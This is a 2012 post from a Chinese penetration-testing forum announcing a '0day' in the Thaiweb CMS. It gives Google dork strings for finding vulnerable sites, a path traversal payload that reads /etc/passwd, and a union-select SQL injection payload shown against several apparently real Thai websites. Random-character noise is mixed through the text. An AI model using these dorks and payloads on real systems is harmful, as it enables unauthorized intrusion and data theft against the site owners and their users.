中国网络渗透测试联盟

标题: Thaiweb远程文件sql注入漏洞0day [打印本页]
作者: admin    时间: 2012-12-27 08:38
标题: Thaiweb远程文件sql注入漏洞0day
Google之:
. q8 T8 ]6 o# `2 I5 R
- V, D- A. m: |7 H$ I* ?0 uintext:powered by Thaiweb
$ U7 o9 X- P& r) s6 [
) f1 O% C: w: j- O" k; ?inurl:index.php?page=board.php
/ d- Z$ m. l9 U4 l& B2 M% o2 }' M8 }; B
  z( F/ K% ~4 a5 [4 i" R6 i

2 [( `' ^! p) |0 y9 r1 i7 T利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd3 ]9 M* P6 W+ {, y- F
! a% n/ o: X0 C+ T9 P

6 V5 A0 {8 b, q: J4 O4 Q
5 k2 \) M( l3 e- w' W' |$ H- F& F利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4': A! R% M0 Q. X0 L+ H* I3 t
% W& b/ o7 O: x# [2 B$ R" [- ]( U

, Z3 M( |/ r0 ]# R1 U! d
: v5 N& ^  r, F0 |* f& bhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--8 u1 |. p  x6 a1 [8 j0 f
% l: l+ H1 h' a$ y' c  x
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--# w, I9 P' x) s5 z

, Q/ S- W$ t; ]/ J! phttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--7 P1 l% ^$ o2 X9 b




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2